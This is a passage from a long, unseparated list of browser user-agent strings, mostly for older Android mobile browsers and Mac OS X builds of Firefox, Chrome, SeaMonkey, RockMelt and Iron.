Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; it-it; HTC_DesireHD_A9191 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; zh-tw; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.1; zh-tw; HTC_Sensation_S710e Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; HTC_Flyer Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; da-fi; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-gb; HTC Desire HD 1.39.161.1 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; en-us; T-Mobile HTC_G2 Build/FRF91) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; HTC Magic Build/ CRB17) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 ) Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; tr-tr; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; zh-cn; HTC Dream Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; zh-cn; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; zh-cn;) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; zh-tw; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.2; zh-tw; HTC_DesireZ_A7272 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.1; en-us; SonyEricssonR800a Build/3.0.A.0.326) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.1; fr-ca; SonyEricssonLT15a Build/3.0.A.0.326) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.1; ja-jp; SonyEricssonSO-01C Build/3.0.D.2.23) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.2; en-us; HTC_Passion_S510e Build/GRH78C) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; en-us ; LS670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1/UCBrowser/8.6.1.262/145/355 Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9 Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2 Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Silk/2.1 Mobile Safari/535.19 Silk-Accelerated=true Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870/P87020d Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30 Mozilla/5.0 (Linux; U; Android 4.2; en-us; sdk Build/MR1) AppleWebKit/535.19 (KHTML, like Gecko) Version/4.2 Safari/535.19 Mozilla/5.0 (Linux; U; Android 4.3; en-us; sdk Build/MR1) AppleWebKit/536.23 (KHTML, like Gecko) Version/4.3 Mobile Safari/536.23 Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 Mozilla/5.0 (Linux; U; Debian Linux; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Linux; U; Debian Linux; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Linux; U; Intel Linux; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Linux; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Linux; U; Kubuntu 8.4; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1 Mozilla/5.0 (Linux; U; Linux 2.6; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Linux; U; Suse 9.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Linux; U; Ubuntu; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Linux; U; Ubuntu; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Linux; U;Linux X86_64; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Linux; webOS/2.2.4; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) webOSBrowser/221.56 Safari/534.6 Pre/3.0 Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/5.0 (MSIE 9.0; Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931 Mozilla/5.0 (Macintosh; ; Intel Mac OS X; fr; rv:1.8.1.1) Gecko/20061204 Opera Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872 Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20110608 SeaMonkey/2.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11) Gecko/20110209 Firefox/ SeaMonkey/2.1b2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21 Lightning/2.6b3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120713 Thunderbird/14.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20120813 Firefox/16.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0 SeaMonkey/2.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 SeaMonkey/2.32a2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.105 Safari/537.36 Vivaldi/1.0.162.9 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2859.0 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.49 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Maxthon/4.5.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1 Safari/603.1.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24+ (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.283 Chrome/11.0.696.65 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.292 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.209 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.423 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.471 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.478 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 